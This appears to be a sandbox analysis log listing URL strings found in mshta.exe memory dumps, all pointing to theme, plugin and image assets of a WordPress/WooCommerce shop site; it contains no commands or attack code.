Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/js/chosen/chosen.jquery.js?ver=1
Source: mshta.exe, 00000004.00000003.2148626688.000001347037B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/js/chosen/chosen.min.css?ver=1.3
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/js/front.js?ver=1.3.4.2
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/js/html_types/checkbox.js?ver=1.
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/js/html_types/mselect.js?ver=1.3
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/js/html_types/radio.js?ver=1.3.4
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/js/html_types/select.js?ver=1.3.
Source: mshta.exe, 00000004.00000002.3291335831.000001347062F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/js/ion.range-slider/css/ion.rang
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/js/ion.range-slider/js/ion.range
Source: mshta.exe, 00000004.00000002.3291335831.000001347062F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/js/tooltip/css/plugins/tooltipst
Source: mshta.exe, 00000004.00000002.3291335831.000001347062F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/js/tooltip/css/tooltipster.bundl
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/js/tooltip/js/tooltipster.bundle
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ver=5.6
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce/assets/js/frontend/password-strength-meter.min.j
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=5.6.2
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js?v
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4-w
Source: mshta.exe, 00000004.00000002.3291335831.000001347062F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/th
Source: mshta.exe, 00000004.00000003.2148626688.000001347037B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/css/flatsome-shop.css?ver=3.17.5
Source: mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290562334.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148626688.000001347039C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/css/flatsome-shop.css?ver=3.17.5#
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/css/flatsome-shop.css?ver=3.17.5;
Source: mshta.exe, 00000004.00000002.3291302874.00000134705F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/css/flatsome-shop.css?ver=3.17.5C:
Source: mshta.exe, 00000004.00000003.2148398104.0000013470411000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284077805.0000013470415000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290688605.0000013470424000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/css/flatsome-shop.css?ver=3.17.5E
Source: mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290562334.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148626688.000001347039C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/css/flatsome-shop.css?ver=3.17.5G
Source: mshta.exe, 00000004.00000003.2148626688.000001347037B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/css/flatsome-shop.css?ver=3.17.5T
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/css/flatsome-shop.css?ver=3.17.5da
Source: mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148626688.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148626688.000001347037B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/css/flatsome.css?ver=3.17.5
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E0DF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/css/flatsome.css?ver=3.17.5UN
Source: mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148626688.000001347037B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/css/flatsome.css?ver=3.17.5e.css?ver=2.3.7
Source: mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/css/flatsome.css?ver=3.17.5pC:
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/css/icons/fl-icons.eot#iefix?v=3.17.5)
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/css/icons/fl-icons.eot?v=3.17.5
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/css/icons/fl-icons.eot?v=3.17.5);
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/css/icons/fl-icons.eot?v=3.17.5);br
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148626688.000001347036E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E0DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/css/icons/fl-icons.svg?v=3.17.5#fl-icons)
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E0DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/css/icons/fl-icons.ttf?v=3.17.5)
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E0DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/css/icons/fl-icons.woff2?v=3.17.5)
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E0DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/css/icons/fl-icons.woff?v=3.17.5)
Source: mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290562334.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148626688.000001347039C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/js/chunk.popups.js?ver=3.17.5
Source: mshta.exe, 00000004.00000003.2148626688.000001347039C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/js/chunk.slider.js?ver=3.17.5
Source: mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290562334.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148626688.000001347039C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/js/chunk.slider.js?ver=3.17.5;
Source: mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290562334.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148626688.000001347039C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/js/chunk.tooltips.js?ver=3.17.5
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148398104.0000013470411000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284077805.0000013470415000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290688605.0000013470424000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/js/flatsome.js?ver=89ac940c4841291ea8d6
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148398104.0000013470411000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284077805.0000013470415000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290688605.0000013470424000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/js/woocommerce.js?ver=1a392523165907adee6a
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/js/woocommerce.js?ver=1a392523165907adee6aRs
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/assets/libs/infinite-scroll.pkgd.min.js?ver=4.0.1
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/inc/extensions/flatsome-infinite-scroll/flatsome-inf
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/inc/extensions/flatsome-instant-page/flatsome-instan
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/inc/extensions/flatsome-lazy-load/flatsome-lazy-load
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/themes/flatsome/inc/extensions/flatsome-live-search/flatsome-live-se
Source: mshta.exe, 00000004.00000002.3291335831.000001347062F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/thet
Source: mshta.exe, 00000004.00000002.3290688605.0000013470424000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/ugins/woo-discount-rules/v2/Assetss/awdr-dynamic-price.js?ver=2.3.8
Source: mshta.exe, 00000004.00000003.2148872004.0000012C6E179000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.000001347062F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/uploads/cropped-logo-d-270x270.jpg
Source: mshta.exe, 00000004.00000003.2148872004.0000012C6E179000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.000001347062F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/uploads/xcropped-logo-d-180x180.jpg.pagespeed.ic.5J2kHsZjY5.jpg
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E115000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148626688.000001347036E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/uploads/xcropped-logo-d-192x192.j
Source: mshta.exe, 00000004.00000003.2148872004.0000012C6E179000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/uploads/xcropped-logo-d-192x192.jpg.pagespeed.ic.EwuWeIzKab.jpg
Source: mshta.exe, 00000004.00000003.2148626688.000001347036E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/uploads/xcropped-logo-d-192x192.js.woff?v=3.17.5)
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E115000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148626688.000001347036E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E179000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/uploads/xcropped-logo-d-32x32.jpg.pagespeed.ic.O2d9531Kcm.jpg
Source: mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/uploads/xdohovir-oferty-280x280.png.pagespeed.ic.Us1ysJgC5g.png
Source: mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/uploads/xdopomoha-280x280.png.pagespeed.ic.YLuKJA07kn.png
Source: mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/uploads/xlogo-gurt-m.png.pagespeed.ic.SkQgjUt9Ci.png
Source: mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/uploads/xostanni-zamovlennia-280x280.png.pagespeed.ic.y9zgyMzY4v.png
Source: mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/uploads/xprofil-280x280.png.pagespeed.ic.A1jMtoXaMR.png
Source: mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/uploads/xvidnovyty-parol-280x280.png.pagespeed.ic.FKw07L82hi.png
Source: mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/uploads/xzamovlennia-280x280.png.pagespeed.ic.nWjuhwsWVe.png
Source: mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/uploads/xznyzhky-280x280.png.pagespeed.ic.aW61iAx-0t.png
Source: mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-includes/css/classic-themes.min.css?ver=1
Source: mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-includes/css/classic-themes.min.css?ver=15
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E14F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-includes/css/classic-themes.min.css?ver=1C:
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-includes/js/dist/hooks.min.js?ver=4169d3cf8e8d95a3d6d5
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-includes/js/dist/i18n.min.js?ver=9e794f35a71bb98672ae
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-includes/js/dist/vendor/regenerator-runtime.min.js?ver=0.13.9
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-includes/js/hoverIntent.min.js?ver=1.10.2
Source: mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-includes/js/jquery/jquery.min.js?ver=3.6.1
Source: mshta.exe, 00000004.00000002.3290475443.0000013470330000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-includes/js/jquery/jquery.min.js?ver=3.6.1-shop.css?ver=3.17.57
Source: mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290562334.000001347039C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-includes/js/jquery/jquery.min.js?ver=3.6.1C:
Source: mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-includes/js/jquery/jquery.min.js?ver=3.6.1G
Source: mshta.exe, 00000004.00000002.3291302874.00000134705F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-includes/js/jquery/jquery.min.js?ver=3.6.1S
Source: mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-includes/js/jquery/jquery.min.js?ver=3.6.1m
